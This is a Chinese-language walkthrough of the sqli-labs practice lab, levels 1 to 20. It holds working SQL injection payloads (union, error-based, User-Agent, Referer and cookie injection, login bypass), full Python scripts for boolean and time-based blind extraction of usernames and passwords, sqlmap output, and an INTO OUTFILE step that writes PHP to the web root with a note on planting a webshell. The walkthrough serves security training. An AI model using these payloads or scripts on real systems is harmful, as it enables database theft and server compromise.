Less-1

1.测试闭合方式,只有单引号闭合会报错,为单引号闭合

2.查询列数,当order by 4时报错,共3列

?id=2' order by 3 --+

3.查询3个字段的输出位置,可知name对应2,password对应3

?id=-1' union select 1,2,3 --+

4.查询当前数据库名,为security

?id=-1' union select 1,database(),3 --+

5.查询security数据库内所有表名,有emails,referers,uagents,users

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

information_schema是MySQL内置的一个虚拟数据库,专门用于存储数据库的元数据信息。元数据是描述数据库结构和对象的数据,例如表名、列名、数据类型、索引、权限等。

6.获取users表中的敏感信息。查询users表中所有字段名(默认查询的是当前连接数据库),有id,username,password

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

7.查询字段username和password

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Less-2

1.测试闭合方式,单双引号都报错,为数字型

2.只需在Less-1的基础上去掉单引号即可实现同样的注入。查询到username和password

?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

Less-3

1.测试闭合方式,只有单引号闭合会报错,根据报错信息可知,为单引号+括号闭合

2.只需在Less-1的基础上在单引号后添加括号即可实现同样的注入。查询到username和password

?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

Less-4

1.测试闭合方式,双引号闭合报错,根据报错信息可知,为双引号+括号闭合

2.只需在Less-3的基础上将单引号改为双引号即可实现同样的注入。查询到username和password

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-5

正常查询?id=1返回You are in……….. ,查询?id=0则无回显。根据只有查询到内容才有回显的特性,考虑使用布尔盲注

1.测试闭合方式,单引号闭合

2.写python脚本实现布尔盲注:

import requests
import string

def databaseQuery(chars,injectionPoint,method,responseJudge,url):
    database = ""
    for i in range(1,11):   # 假设数据库名不超过10个字符
        for c in chars:
            payload = f"1{method}" + " and " + f"substr(database(),{i},1)='{c}' -- "
            params = {injectionPoint: payload}
            r = requests.get(url, params=params)

            if responseJudge in r.text:  
                '''
                print(r.text)  # 测试payload时使用
                print(f"Found char: {c} at position {i}")  
                break
                '''
                database += c
                break

    if database != "":
        print(f"Found Database ==> {database}")
    else:
        print("database searching error")

def tableQuery(chars,injectionPoint,method,responseJudge,url):
    tables = []
    tableName = ""
    for j in range(0,5):   # 假设连接数据库中不超过5个表
        for i in range(1,11):  # 假设表名不超过10个字符
            for c in chars: 
                payload = f"1{method}" + " and " + f"substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i},1)='{c}' -- "
                params = {injectionPoint: payload}
                r = requests.get(url, params=params)

                if responseJudge in r.text:  
                    '''
                    print(r.text)  # 测试payload时使用
                    print(f"Found char: {c} at position {i}")  
                    break
                    '''
                    tableName += c
                    break
        tables.append(tableName)
        tableName = ""

    if tables != None:
        print(f"Found Tables ==> {tables}")
    else:
        print("table searching error")

def columnQuery(chars,injectionPoint,method,tableName,responseJudge,url):
    columns = []
    columnName = ""
    for j in range(0,6):   # 假设选定的表中不超过6个字段
        for i in range(1,11):  # 假设字段名不超过10个字符
            for c in chars: 
                payload = f"1{method}" + " and " + f"substr((select column_name from information_schema.columns where table_name='{tableName}' limit {j},1),{i},1)='{c}' -- "
                params = {injectionPoint: payload}
                r = requests.get(url, params=params)

                if responseJudge in r.text:  
                    '''
                    print(r.text)  # 测试payload时使用
                    print(f"Found char: {c} at position {i}")  
                    break
                    '''
                    columnName += c
                    break
        columns.append(columnName)
        columnName = ""

    if columns != None:
        print(f"Found columns ==> {columns}")
    else:
        print("column searching error")

def dataQuery(chars,injectionPoint,method,columnName,tableName,responseJudge,url):
    datas = []
    data = ""
    for j in range(0,10):   # 假设选定的字段中不超过10个数据
        for i in range(1,11):  # 假设数据内容不超过10个字符
            for c in chars: 
                payload = f"1{method}" + " and " + f"substr((select {columnName} from {tableName} limit {j},1),{i},1)='{c}' -- "
                params = {injectionPoint: payload}
                r = requests.get(url, params=params)

                if responseJudge in r.text:  
                    '''
                    print(r.text)  # 测试payload时使用
                    print(f"Found char: {c} at position {i}")  
                    break
                    '''
                    data += c
                    break
        datas.append(data)
        data = ""

    if datas != None:
        print(f"Found {columnName} ==> {datas}")
    else:
        print("data searching error")

if __name__ == "__main__":
    chars = string.ascii_lowercase + string.ascii_uppercase # + string.digits + "_"
    url = "http://sqlilabs:8989/Less-5/"
    injectionPoint = "id" # 注入点
    method = "\'"  # 单引号,双引号,括号,数字型
    responseJudge = "You are in..........."  # 根据响应包,判断布尔盲注是否成功

    #databaseQuery(chars,injectionPoint,method,responseJudge,url)
    #tableQuery(chars,injectionPoint,method,responseJudge,url)

    tableName = "users"  # 待查询的表
    #columnQuery(chars,injectionPoint,method,tableName,responseJudge,url)

    columnNames = ["username","password"]
    for columnName in columnNames:
        dataQuery(chars,injectionPoint,method,columnName,tableName,responseJudge,url)

Less-6

布尔盲注

1.双引号闭合

2.跑盲注脚本


Less-7

难点在于获取闭合方式,写个fuzz闭合方式的脚本:

import requests

def detectClosureMethod(chars, closureMethodLength, param, injectionPoint, url, responseJudge):
    closureMethod = ""
    quote = chars[0]
    parentheses = ""
    errorExistsNum = 0

    for i in range(0,closureMethodLength):  # 闭合方式字符长度限制
        '''
        test = "1') -- "
        params = {injectionPoint: test}
        r = requests.get(url, params)
        print(r.text)
        break
        '''

        payload = f"{param}{quote}{parentheses}" + " -- "
        params = {injectionPoint: payload}
        r = requests.get(url, params)
        
        if responseJudge in r.text:
            parentheses = parentheses + chars[1]
            errorExistsNum += 1
        else:
            closureMethod = quote + parentheses
            parentheses = parentheses + chars[1]

    return errorExistsNum, closureMethod
        

if __name__ == "__main__":
    charsList = ["\')","\")"]
    closureMethodLength = 4
    param = 1
    injectionPoint = "id"
    url = "http://sqlilabs:8989/Less-7/"
    responseJudge = "error"
    

    closureMethod = ""
    for chars in charsList:
        errorExistsNum, cM = detectClosureMethod(chars, closureMethodLength, param, injectionPoint, url, responseJudge)
        if errorExistsNum >= 1 and errorExistsNum < closureMethodLength:
            closureMethod = cM
        
    if closureMethod == "":
        print("Closure Method ==> Numeric Closure")
    else:
        print(f"Closure Method ==> {closureMethod}")

运行结果:

Closure Method ==> '))

能区分查询是否成功的页面基本都可以使用布尔盲注,本题hint所使用的方法outfile则是通过SQL语句向网站写入文件:

/?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+ 

同理,可以直接写入一句话木马拿shell


Less-8

单引号闭合+布尔盲注


Less-9

无论是否查询到数据,是否有语法错误,都只返回一个页面,考虑时间盲注。

import requests
import string
import time

def detectClosureMethod(chars, closureMethodLength, param, injectionPoint, url):
    closureMethod = ""
    quote = chars[0]
    parentheses = ""
    errorExistsNum = 0

    for i in range(0,closureMethodLength):  # 闭合方式字符长度限制
        '''
        test = "1') -- "
        params = {injectionPoint: test}
        r = requests.get(url, params)
        print(r.text)
        break
        '''

        payload = f"{param}{quote}{parentheses}" + " and sleep(2) -- " 
        params = {injectionPoint: payload}
        start = time.time()
        requests.get(url, params)
        duration = time.time() - start  # 获取延时时长
        
        if duration < 2:  # 考虑到网络延迟,应该大于2
            parentheses = parentheses + chars[1]
            errorExistsNum += 1
        else:
            closureMethod = quote + parentheses
            parentheses = parentheses + chars[1]

    return errorExistsNum, closureMethod

def closureMethodFuzz(charsList):
    closureMethod = ""
    for chars in charsList:
        errorExistsNum, cM = detectClosureMethod(chars, closureMethodLength, param, injectionPoint, url)
        if errorExistsNum >= 1 and errorExistsNum < closureMethodLength:
            closureMethod = cM

    if closureMethod == "":
        print("Closure Method ==> Numeric Closure")
    else:
        print(f"Closure Method ==> {closureMethod}")

def timeDatabaseQuery(chars,injectionPoint,method,url):
    database = ""
    for i in range(1,11):   # 假设数据库名不超过10个字符
        for c in chars:
            payload = f"1{method}" + " and " + f"if(substr(database(),{i},1)='{c}', sleep(2), 0) -- "
            params = {injectionPoint: payload}
            start = time.time()
            requests.get(url, params)
            duration = time.time() - start  # 获取延时时长

            if duration > 2:  # 考虑到网络延迟,应该大于2
                database += c
                break

    if database != "":
        print(f"Found Database ==> {database}")
    else:
        print("database searching error")

def timeTableQuery(chars,injectionPoint,method,url):
    tables = []
    tableName = ""
    for j in range(0,5):   # 假设连接数据库中不超过5个表
        for i in range(1,11):  # 假设表名不超过10个字符
            for c in chars: 
                payload = f"1{method}" + " and " + f"if(substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i},1)='{c}', sleep(2), 0) -- "
                params = {injectionPoint: payload}
                start = time.time()
                requests.get(url, params)
                duration = time.time() - start

                if duration > 2:
                    tableName += c
                    break
        tables.append(tableName)
        tableName = ""

    if tables != None:
        print(f"Found Tables ==> {tables}")
    else:
        print("table searching error")

def timeColumnQuery(chars,injectionPoint,method,tableName,url):
    columns = []
    columnName = ""
    for j in range(0,6):   # 假设选定的表中不超过6个字段
        for i in range(1,11):  # 假设字段名不超过10个字符
            for c in chars: 
                payload = f"1{method}" + " and " + f"if(substr((select column_name from information_schema.columns where table_name='{tableName}' limit {j},1),{i},1)='{c}', sleep(2), 0) -- "
                params = {injectionPoint: payload}
                start = time.time()
                requests.get(url, params)
                duration = time.time() - start

                if duration > 2:
                    columnName += c
                    break
        columns.append(columnName)
        columnName = ""

    if columns != None:
        print(f"Found columns ==> {columns}")
    else:
        print("column searching error")

def timeDataQuery(chars,injectionPoint,method,columnName,tableName,url):
    datas = []
    data = ""
    for j in range(0,10):   # 假设选定的字段中不超过10个数据
        for i in range(1,11):  # 假设数据内容不超过10个字符
            for c in chars: 
                payload = f"1{method}" + " and " + f"if(substr((select {columnName} from {tableName} limit {j},1),{i},1)='{c}', sleep(2), 0) -- "
                params = {injectionPoint: payload}
                start = time.time()
                requests.get(url, params)
                duration = time.time() - start

                if duration > 2:
                    data += c
                    break
        datas.append(data)
        data = ""

    if datas != None:
        print(f"Found {columnName} ==> {datas}")
    else:
        print("data searching error")

if __name__ == "__main__":
    charsList = ["\')","\")"]
    closureMethodLength = 4
    param = 1
    injectionPoint = "id" # 注入点
    url = "http://sqlilabs:8989/Less-9/"

    # closureMethodFuzz(charsList)
    

    chars = string.ascii_lowercase + string.ascii_uppercase # + string.digits + "_"
    method = "\'"  # 单引号,双引号,括号,数字型

    # timeDatabaseQuery(chars, injectionPoint, method, url)
    # timeTableQuery(chars, injectionPoint, method, url)
    
    tableName = "users"
    # timeColumnQuery(chars,injectionPoint,method,tableName,url)

    columnNames = ["username","password"]
    for columnName in columnNames:
        timeDataQuery(chars,injectionPoint,method,columnName,tableName,url)

Less-10

双引号闭合+时间盲注


Less-11 ~ Less-16

测试闭合方式,只实现登录可以使用万能密码解决,本质还是注释限制条件:

uname=admin' -- &passwd=123
uname=qwer114514&passwd=123' or 1 --

传参方式改成了POST,都可以用时间盲注实现数据的查询


Less17

页面为一个修改密码的服务,已知存在username:admin,在username框进行注入总是会弹Bug off,考虑是对username进行了check并处理了恶意的注入语句,结合修改密码可能会用到UPDATE,本题注入点选择password

既然是UPDATE,那就应该没有回显,无法通过正常方式查询数据,考虑使用报错注入:

uname=admin&passwd=1' and updatexml(1,concat(0x7e,database(),0x7e),1) -- 
XPATH syntax error: '~security~'

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --
XPATH syntax error: '~emails,referers,uagents,users'  

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) -- 
XPATH syntax error: '~id,username,password~'

UPDATE中不能同时SELECT同一张表,可以创建临时表绕过。updatexml最多输出32字节错误信息,可以用substr:

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),1,30) from (select * from users) as temp),0x7e),1) -- 
XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stu~'

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),31,30) from (select * from users) as temp),0x7e),1) -- 
XPATH syntax error: '~pid,superman,batman,admin,admi~'

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),61,30) from (select * from users) as temp),0x7e),1) -- 
XPATH syntax error: '~n1,admin2,admin3,dhakkan,admin~'

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),91,30) from (select * from users) as temp),0x7e),1) -- 
XPATH syntax error: '~4~'

password同理


Less-18

无论如何尝试注入,都无法回显其他页面,尝试先用admin账号登陆,发现回显UA头,考虑登陆成功后的UA注入

与常规的注入无异,出现该问题的原因是该网站将用户UA头用INSERT INTO写入数据库

根据报错信息,判断写了三个数据到数据库中:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1

考虑UA头用报错注入:

User-Agent: 1',updatexml(1,concat(0x7e,database(),0x7e),1),'3'#
...
User-Agent: 1',updatexml(1,concat(0x7e,(select substr(group_concat(username),1,30) from (select * from users) as temp),0x7e),1),'3'#
...

Less-19

Referer头注入,和UA头注入没什么区别:

Referer: 1',updatexml(1,concat(0x7e,database(),0x7e),1)#
...
Referer: 1',updatexml(1,concat(0x7e,(select substr(group_concat(username),1,30) from (select * from users) as temp),0x7e),1)#
...

Less-20

cookie是存储于客户端的,猜测服务器只用SELECT获取cookie的内容,cookie位置联合注入、报错注入等都行

本题用sqlmap跑一下:

python sqlmap.py -u http://sqlilabs:8989/Less-20/index.php --level=2 --dbms=MySQL --cookie="uname=admin*"

sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: uname=admin' AND 4655=4655 AND 'JNaz'='JNaz

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: uname=admin' AND GTID_SUBSET(CONCAT(0x716b707171,(SELECT (ELT(4852=4852,1))),0x7171717a71),4852) AND 'McXM'='McXM

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin' AND (SELECT 1701 FROM (SELECT(SLEEP(5)))leNW) AND 'edxV'='edxV

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: uname=-2237' UNION ALL SELECT NULL,CONCAT(0x716b707171,0x53445a58764b447852436749794867527a496a4a6f416d496c556d717766747855524f7171797165,0x7171717a71),NULL-- -
---